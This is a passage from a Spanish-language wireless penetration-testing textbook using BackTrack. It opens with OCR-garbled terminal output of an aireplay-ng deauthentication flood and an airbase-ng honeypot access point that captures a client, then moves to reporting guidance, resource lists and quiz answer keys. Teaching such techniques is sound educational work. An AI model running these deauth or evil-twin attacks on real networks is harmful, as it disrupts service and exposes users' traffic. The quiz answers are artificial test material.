14:43;
L4:43:
L4:43:
14:43:
14:43:
14:43:
14:43:
14:43:

—#
:~# aireplay-ng --deauth @ -a 00:21:91:D2:8E
L4:43:12 Waiting for beacon frame (BSSID: ©0:21:91:
NB: this attack is more effective when targeting
hp connected wireless client

DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth

to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to

Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending

(-c <client's mac>).

broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast
broadcast

BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:
BSSID:

[ee
[ee
[ee
[e0
[e0
[e6
[e®
[e®
[ee
[e©
[e0
[e0
[e6
[e®
[e®
[ee
[e©
[e0
[e0
[e6
[e®

[00:

:25 mon@
D2:8E:25) on channel 1

:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E
:21:91:D2:8E

:25]
1251
1251
:25]
:25]
:25]
:25]
:25]
:25]
1251
:25]
:25]
:25]
:25]
:25]
:25]
1251
:25]
:25]
:25]
:25]
:25]

4. El cliente busca ahora los puntos de acceso disponibles y se conectaa Vivek:

Session  Edit

Bookmarks  Settings

Help

root@bt

- Shell No. 3 - Konsole

:~# airbase-ng --essid Vivek mon@
14:42:39 Created tap interface ato
14:42:39 Trying to set MTU on at® to 1500

14:42:39 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

14:43:32 Client 60:FB:42:D5:E4:01 associated (unencrypted) to ESSID:
i

"Vivek"




Se utilizd la lista de redes preferidas del cliente y creamos un punto de acceso honeypot con el mismo SSID. A
continuacion, desconectamos a la fuerza al cliente desde el punto de acceso autorizado. El cliente entonces
comenzd a buscar todos los puntos de acceso disponibles y encontré Vivek que también estara disponible en
las inmediaciones. Luego se conecta a Vivek que es controlado por nosotros.

Presentacion de informes

Ahora que hemos encontrado todas estas vulnerabilidades de seguridad, tenemos que informar a la empresa.
Cada compaiiia de pruebas de penetracion tiene su propia estructura de exposicién. Sin embargo, debe contener
como minimo los siguientes datos:

1. Descripcion de la vulnerabilidad

2. Gravedad

3. Los dispositivos afectados

4. Vulnerabilidad de tipo de software / hardware / configuracion
5. Soluciones

6. Solventado

En la estructura anterior se da suficiente informacién para un administrador de red o de seguridad para
encontrar el parche de la vulnerabilidad. En este punto la prueba de intrusién sélo puede proporcionar el apoyo
al administrador para ayudarle a entender las vulnerabilidades y tal vez proponer las mejores practicas para
asegurar su red.

1. Podemos detectar un punto de acceso no autorizado usando?
a. Direcciones IP
b. Direcciones MAC
c.Ayb
d. Ninguna de las anteriores
2. Un cliente mal asociacido se puede prevenir
a. Interviniendo al usuario antes de conectarse a un punto de acceso
b. Sélo mantener las redes autorizadas en la lista de redes preferidas

c. Utilizando WPA2



d. No usando WEP
3. En la fase de informacidn, écudl crees que decidié la importancia de la vulnerabilidad?
a. Descripcion
b. Gravedad
c. Los dispositivos afectados
d. Ambos (b) y (c)

4. En los ataques a los clientes, éque opcidn en airbase-ng nos permite responder a todos los clientes de
sondeo?

b. —essid

En este capitulo, hemos aprendido cdmo llevar a cabo una prueba de penetracién inaldmbrica utilizando
BackTrack. Dependiendo del tamafio de la red, la complejidad y el tiempo real puede ser bastante grande. Hemos
tomado una pequefia red para ilustrar las diversas fases y técnicas que se utilizan para ejecutar una prueba de
penetracién.



Conclusion y camino por
recorrer

"No sé lo que puede parecer el mundo, pero a mi me parece que he sido s6lo como un nifio jugando en la
orilla del mar y divirtiéndome en encontrar de vez en cuando un guijarro mas liso o una concha mas bonita de
lo normal, mientras el gran océano de la verdad estaba descubriendo todo antes que yo. "

Sir Isaac Newton

A pesar de que hemos llegado al final del libro, debemos estar siempre dispuestos a aprender mds y seguir siendo
un estudiante para siempre

Finalmente hemos llegado al final de este libro, pero es de esperar que esto sea sélo el comienzo de su viaje en
seguridad Wi-Fi. En este capitulo, analizaremos los pasos a seguir en su camino de aprendizaje como una prueba
de intrusién inaldmbrica.

Terminando

Ha sido un viaje emocionante en los ultimos 10 capitulos. Comenzamos con la creacion de un laboratorio basico
para Wi-Fi y terminamos con la realizacion de ataques a PEAP y WPA-Enterprise. Definitivamente, hemos
recorrido un largo camino.

Sin embargo, el viaje no ha terminado aun y honestamente no puede terminar. Seguridad Wi-Fi es un campo en
constante evolucidn y nuevos ataques , herramientas y técnicas se estan descubriendo, se dan a conocery se
libera cada mes. Es importante mantenerse informado y actualizado con el fin de ser un buen pentester.

En este capitulo, veremos como configurar un laboratorio mds avanzado y nos pondremos en contacto con los
diferentes recursos que puede utilizar para mantenerse al dia con los ultimos acontecimientos en este campo.

Construir un laborario Wi-Fi avanzado

El laboratorio que hemos creado para este libro es pequefio y es ideal para empezar en el mundo de la seguridad
inaldmbrica. Sin embargo, se requeriria un laboratorio mas avanzado si va a seguir una carrera en seguridad Wi-Fi
y pruebas de penetracion.

Aqui hay un par de elementos adicionales que podrian considerar comprar:



Antenas direccionales:

Las antenas direccionales se podrian utilizar para aumentar la sefial y ayudar a detectar mas redes Wi-Fi desde
lejos. Esto puede ser util cuando la prueba de penetracidn consiste en una gran instalacion, que puede ser dificil
de cubrir a pie.

Hay diferentes tipos de antenas adecuadas para diversos fines. Valdria la pena hacer algunas investigaciones
sobre este tema antes de hacer una compra.

Puntos de acceso Wi-Fi:

Puede ser interesante para experimentar con diferentes puntos de acceso con 802.11a/b/g/n,y asi
sucesivamente, ya que uno nunca puede estar seguro de lo que va encontrar en el campo. Sin embargo,
fundamentalmente desde la perspectiva de la auditoria, las técnicas siguen siendo las mismas, en algunos casos
raros, los fabricantes pueden haber afiadido sus parches de seguridad propios a los problemas de ataque. Seria
bueno tener una experiencia con un conjunto variado de puntos de acceso:




Tarjetas Wi-Fi:

Hemos utilizado la tarjeta de Alfa para las sesiones de nuestro laboratorio a lo largo de este libro. Hay otras
tarjetas basadas en USB e incorporadas en las computadoras portatiles que también podrian ser utilizadas con los
controladores adecuados para los fines de pruebas de penetracion inaldmbrica. Puede ser que sea una buena
idea explorar algunas de estas tarjetas y controladores. Esto puede ser util cuando te enfrentas a una situacién en
que la tarjeta de Alfa falla y tienes que usar las tarjetas incorporadas por defecto o de otro tipo.

Smartphones y otros dispositivos Wi-Fi activados:

En el mundo actual, las computadoras portatiles no son los Unicos dispositivos Wi-Fi activados. Casi todos los
dispositivos méviles viene con Wi-Fi incluidos en el mismo, Smartphones, tabletas, etc. Podria ser una buena idea
comprar una gran variedad de estos dispositivos y utilizarlos en los laboratorios:

Mantenerse al dia

La seguridad es un campo que avanza rapido y usted encontrard que si esta fuera de contacto aunque sea por un
corto periodo ( un par de meses ), parte de sus conocimientos pueden quedar obsoletos. Con el fin de
mantenerse al dia, se recomienda utilizar los siguientes medios:

Listas de correo:

http://www.securityfocus.com/ tiene varias listas de correo, que concentran los grupos de discusion
para los debates técnicos. Entre otros, le recomendamos suscribirse a wifisec@securityfocus.com para
mantenerse en contacto con las Ultimas actualizaciones en el campo.



Sitios web:

El sitio Aircrack-NG es el mejor recurso para mantenerse actualizado sobre las nuevas herramientas de esta suite.
Creado por Thomas d'Otreppe aka Mister_X esta es probablemente la mejor herramienta que hay para hackear
LAN:

http://www.aircrack-ng.org

Entre mis favoritos esta el sitio web de Raul Siles, que contiene una lista detallada de las herramientas,
documentos, articulos de investigacion, material para conferencias y mucho maés, todo ello dedicado a la
seguridad Wirless:

http://www.raulsiles.com/resources/wifi.html

Blog de Joshua Wright, aunque no es actualizada regularmente, es el lugar definitivo para lo ultimo en ataques
WPA-Enterprise:

http://www.willhackforsushi.com/
Conferencias:

Conferencias de hackers y de seguridad, como Defcon y Blackhat tienen excelentes conversaciones y talleres cada
afio sobre diversos temas en materia de seguridad, incluida la seguridad inalambrica. La mayoria de estos videos
hablan de los materiales del curso y se liberan gratuitamente en linea. Seria bueno seguir estas conferencias:

. Defcon: http://www.defcon.org

. Blackhat: http://www.blackhat.com
Relacionados con BackTrack:

BackTrack es una plataforma en constante evolucién. Es importante asegurarse de que su copia es siempre la
mas actual. Los siguientes sitios web son el primer lugar de noticias sobre esto:

BackTrack sitio web: http://www.backtrack-linux.org

Offensive security: http://www.offensive-security.com

1. Espero que hayan disfrutado de este libro y los diferentes ejercicios en el mismo. Esperemos que,
por ahora usted sea capaz de llevar a cabo pruebas de penetracion en las redes inalambricas con
facilidad utilizando BackTrack. Nuestro consejo final para usted seria siempre estudiar y seguir
aprendiendo Esto es lo que le mantendrd mas en forma que el resto de la competencia.

2. Le deseamos todo lo mejor para su carrera en las pruebas de penetracidn inaldambrica



Capitulo 1 Configuracion de Wireless Lah

Pregunta Respuesta

1) Ejecute el comando i fconfig wlan0. En la salida, usted debe ver una bandera "UP",
esto indica que la tarjeta es funcional.

2) Sdlo se necesita un disco duro si se desea almacenar alguna cosa en los reinicios, como
ajustes de configuracién o scripts.

3) Muestra la tabla ARP en el equipo local.

4) Queremos usar wpa_supplicant.

Capitulo 2 WLAN y sus inseguridades inherentes

Pregunta Respuesta

1) b) los marcos de gestidn con el sub-tipo de autenticacion seria responsable de la
autenticacion WLAN

2) b) El nombramiento se inicia desde mon0 a monX, por lo que la segunda interfaz es
monl.

3) Para ello tendremos que utilizar la opcidn de que es el complemento del filtro para la

seleccion de todas las tramas Beacon. Esta es a).

Canpitulo 3, Bypass a la utenticacion WLAN

Pregunta Respuesta

1) d) Todo lo anterior tendra el mismo efecto que el cliente se conecte de nuevo.
2) b) La autenticacion abierta no ofrece ninguna seguridad en absoluto.
3) a) Se deriva de la ristra de los paquetes y volver a utilizar para responder al desafio que

viene.



Capitulo 4, defectos WLAN cifrado

Pregunta Respuesta

1) c) Los paquetes ARP cifrados se utilizan para un ataque de repeticién.

2) a) WEP puede ser siempre roto, no importa la clave utilizada es el punto de acceso lo esta
ejecutandolo.

3) b) WPA-PSK puede ser hackeada si una contrasefia débil aparece en un diccionario que se
elija.

Capitulo 5, atagues a la infraestructura WLAN

Pregunta Respuesta

1) a) AP no autorizados no usan ningun tipo de cifrado.

2) a) Si dos puntos de acceso tienen la misma direccion MAC y SSID, la diferenciacion entre
ellos es una tarea dificil.

3) a) Normalmente, un ataque de denegacion hace caer a la red y hace que sea inutilizable.

4) a) AP no autorizados ofrecen una entrada de backdoor en la red autorizada.

Pregunta Respuesta
1) b) El ataque Caffe Latte puede ayudar a recuperar la clave WEP en el cliente.

2) a) Honeypots normalmente no utilizan cifrado y autenticacion abierta para que los
clientes puedan conectarse a ellos con facilidad.

3) d) Tanto de-autenticacion y desasociacion son ataques de denegacion de servicio.

4) b) Caffe Latte sélo se puede recuperar la clave si el cliente tiene la clave WEP de la red
autorizada, en caché y/o almacenada en él.

Capitulo 7, Atagues WLAN avanzados

Pregunta Respuesta

1 b) En todos los ataques Man-in-the-middle, el atacante es el que estd en el centro.
2 b) Dnsspoof falsifica respuestas DNS para secuestrar sesiones.

3 c) SSID no tiene ninglin papel que desempefiar en MITMs.

4 a) at0 es la parte cableada del punto de acceso basado en software creado por

airbase-ng



Capitulo 8, atacar WPA Enterprise y RADIUS

Pregunta Respuesta

1) b) freeradius-WPE es un parche escrito por Joshua Wright para el servidor
FreeRADIUS original.

2) b) PEAP puede ser atacado porque un cliente ingenuo acepta el certificado de
servidor falso proporcionado por el atacante.

3) d) EAP-TLS utiliza certificados de cliente y servidor.
4) b) EAP-TTLS utiliza en el servidor de certificados.

Pregunta Respuesta

1) d) no es trivial para detectar puntos de acceso el uso de enlaces simples como IP y MAC
ya que no funciona en la mayoria de los casos.

2) a) Si el usuario comprueba cada punto de acceso antes de conectarse a el, entonces la
mayoria de ataques podrian haberse evitado.

3) d) Un defecto grave en un dispositivo importante en la red seria la vulnerabilidad mas
importante a solucionar.

4) c) La opcion -P tomada de la airbase-ng responde a todas las sondas.



